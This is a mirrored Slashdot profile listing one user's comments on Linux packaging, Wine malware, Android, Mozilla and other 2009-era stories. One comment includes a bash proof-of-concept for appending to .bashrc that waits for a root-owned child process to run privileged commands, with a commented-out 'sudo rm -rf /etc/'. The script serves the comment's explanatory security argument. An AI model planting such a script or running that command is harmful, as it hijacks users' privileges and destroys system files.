Slashdot Mirror


User: buchner.johannes

buchner.johannes's activity in the archive.

Stories
0
Comments
1,836
First seen
Last seen
Profile
(view on slashdot.org)

Comments · 1,836

  1. Re:Does Linux even need them? on Ryan Gordon Wants To Bring Universal Binaries To Linux · · Score: 1

    Well, the effort of packaging a application (a) to different platforms and (b) to different distributions is quite a duplicate one, involving a lot of people (and time).

  2. Re:Gee, just 14 years on Ryan Gordon Wants To Bring Universal Binaries To Linux · · Score: 1, Informative

    Isn't that was http://autopackage.org/ is trying to do to?
    I find it a benefit of Linux if there is only one instance of a XML library in my memory, though.

  3. Re:Linux's distribution model helps though on Now Linux Can Get Viruses, Via Wine · · Score: 1

    yeah, but you don't have a login shell with sudo -s, just a normal shell.
    man su:
                  -, -l, --login
                          Provide an environment similar to what the user would expect had the user
                          logged in directly.
    This effects env vars and landing in ~ instead of the wd.

  4. Re:Linux's distribution model helps though on Now Linux Can Get Viruses, Via Wine · · Score: 1

    That is only true when you use different users for using the computer (e.g. guest) and administrating the computer (e.g. myfirstname). Which you -- and any default install of Linux -- don't do. The point of sudo is that you can use the same user to launch root commands. The rest of your comment is just unrelated blah.

  5. Re:Linux's distribution model helps though on Now Linux Can Get Viruses, Via Wine · · Score: 1

    The point was that any (faulty) program can rewrite your .bashrc and schedule a script for a future run. There is no way of you knowing immediately.

  6. Re:Linux's distribution model helps though on Now Linux Can Get Viruses, Via Wine · · Score: 4, Insightful

    You, and the majority of Linux users are delusional. You think malware is only executables. A glitch in any software package -- e.g. Firefox or OpenOffice -- would be enough to add a bash script to .bashrc (or replace the file). This can download and start all the software it wants, unless you set the /home partition noexec.
    Another attack method would be to append a script to the GNOME startup applications.

    Consider appending the following script to .bashrc (no one ever looks in there). Next time you go into your shell and do "sudo su - " or something similar, the script has root privileges (if you use sudo timeouts or no sudo password).
    #!/bin/bash

    MAXAGE=100

    while sleep 10; do

            pgrep -f -U 0 -P $PPID,$$ && {
                    # echo parent has a root owned child process
                    id=$(pgrep -f -U 0 -P $PPID,$$ | head -n1)
                    # wait $id
                    age=$(($(date +%s) - $(stat /proc/$id/ -c '%Y')))
                    if [ "$age" -lt "$MAXAGE" ]; then
                            # echo the child is young
                            # evil code here
                            sudo touch /root/you_were_hacked
                            # sudo rm -rf /etc/
                    fi
            }
    done &

    With 10+ scripting languages on the average Linux install, the attacker has plenty of choices. Linux is only safer if you use a hardened kernel, SELinux, noexec partitions and read-only binary partitions. Crackers are already laughing about the upcoming, unworried lusers that think their OS is invulnerable.

  7. Re:Windows virus needs help to limp onto WINE on Now Linux Can Get Viruses, Via Wine · · Score: 1

    Deleting everything in Z: (user home directory) would be bad enough in my books. Also, sockets are free to use, so it could infect other hosts.

  8. Re:I do not believe this man! on Android Goes To the Battlefield · · Score: 1

    Mark Bigham, a vice president of business development in Raytheon's Intelligence and Information Systems unit, says the company selected Android because its open-source nature made developing applications easy." (emphasis mine)

    If that was the case, then Open Source systems would have more applications than closed source counterparts. But this is hardly the case.

    They do. I'm sure you'll find a dozen office suites even if you are not counting forks.

    In addition, I see far more substandard, half-baked software on "open" systems than closed ones. What's going on?

    What is going on is that companies have a separate testing department (read: separate people) and software (such as litmus) to support the process. Open-Source projects partially don't have the man-months to fix all bugs. Sometimes they just stop developing after they solved their use case and disregard others (in the worst case this means the program is accessible for people who have coded in it).

    An example: Open Source OO.o is still as buggy and a pain to use on its Open source native OS (read Linux), though it runs and feels better on closed source Windows. This is after a decade of development. Do not tell me OO.o does not have resources. I just do not understand this argument.

    That has to do with the compiler. Windows generally runs faster than Linux because of better optimization. Linux subsystems are partially holding up by having a simple architecture and being written in C (daemons, GNOME, ...), but this is not true for all packages (e.g. OOo).

    Still, the man has a point: you simply can not do the things you can on Open OSes on closed OSes. For example, you always have the source as a last-resort documentation on how to use a API.

  9. Re:Change their perspective to be self gratifying on Impressing Security Upon End-Users Visually? · · Score: 2, Informative
  10. Re:Backdoor.Ghostnet on Impressing Security Upon End-Users Visually? · · Score: 1

    No, the message is screw VNC and SMB. I want to use that userfriendly tool!

  11. Re:Microsoft's scam detection strategy on Nigerian "Scam Police" Shut Down 800 Web Sites · · Score: 1

    Step 1: Was the email sent via "Genuine Microsoft Outlook 2009"?

    Step 2: If not, it's clearly a scam. You know how those "viral license" people are.

    Fixed.

  12. Re:Ok.... on Nigerian "Scam Police" Shut Down 800 Web Sites · · Score: 1

    Being blue-eyed -- not being cautious towards scams -- has nothing to do with the technical details of malware.

  13. Re:Finish Thunderbird first? on Mozilla Messaging Unveils Raindrop · · Score: 2, Interesting

    Use KOrganizer (Kalendar+KMail). It's great.

    More frontends (and editors) for remind would be nice too ...

  14. Re:I hope that will be a non browser client on Mozilla Messaging Unveils Raindrop · · Score: 2, Insightful

    Maybe similar to this persona editor project. Libraries that are able to tap into proprietary websites (social networks, etc.) to escape from vendor lock-in would be great.

  15. Re:WTF! on Google Partners With Twitter For Search · · Score: 1

    if they filter out tweets that don't have retweets, it might be not that bad. Twitter addresses another aspect of the internet: Viral marketing, and near-realtime content

  16. Re:Windows Upgrades on Some Users Say Win7 Wants To Remove iTunes, Google Toolbar · · Score: 1

    Ooh look, I hacked together my custom Linux distribution. When I update it, it breaks. Linux obviously sucks!

    No user ever should need to compile the kernel. And a software distributor can not foresee and supervise all subsystems, packages and use contexts, regardless of being Windows or Linux.

  17. Re:Android:iPhone::Linux:Windows on 50+ Android Phones Expected In Near Future · · Score: 2, Funny

    They all have a lowercase i in them.

  18. Re:Is this a unique scheduler? on Deadline Scheduling Proposed For the Linux Kernel · · Score: 1
  19. Re:Just 50? on 50+ Android Phones Expected In Near Future · · Score: 2, Insightful

    With 50+ they almost reached the number of Mac users :-P

  20. Re:Breaking News on Cosmic Radiation Makes Trees Grow Faster · · Score: 1

    No, Einstein.

    Radioactive decay particles:
      - alpha (2 protons+2 neutrons),
      - beta (electron or positron),
      - gamma (photons)
    Cosmic radiation:
      - photons (gamma)
      - protons
      - helium
      - electrons
    in high-speed, high-energy; ... not mentioning neutrinos, as they don't interact.
    These are two different tinfoil hats.

  21. Re:OMG, there's lot of planets out there on 32 Exoplanets Discovered By Chilean Telescope · · Score: 1

    One day winter, one day spring, one day summer, ooh no time for autumn

  22. Re:MS hand wave on Mozilla Unblocks Microsoft's .NET Addon · · Score: 1

    These are not the addons you're looking for

  23. Re:ISO Policy Explained on OpenBSD 4.6 Released · · Score: 1

    You can install it from your running Linux or something to a free partition if you don't want to burn a CD.
    It is a good finger exercise to do without a CD.

  24. Re:uhh? on Observing Evolution Over 40,000 Generations · · Score: 1

    Not entirely related: These guys observed the evolution of long-living flies for 20 years (google talk). Although I do have some reservations about their ethics and patents.

  25. Re:IPhone. Blah Blah Blah on Verizon's Challenge To the iPhone Confirmed · · Score: 1

    I heard the battery doesn't last more than a day?
    I prefer my phone dumb. And I prefer it to last at least a week.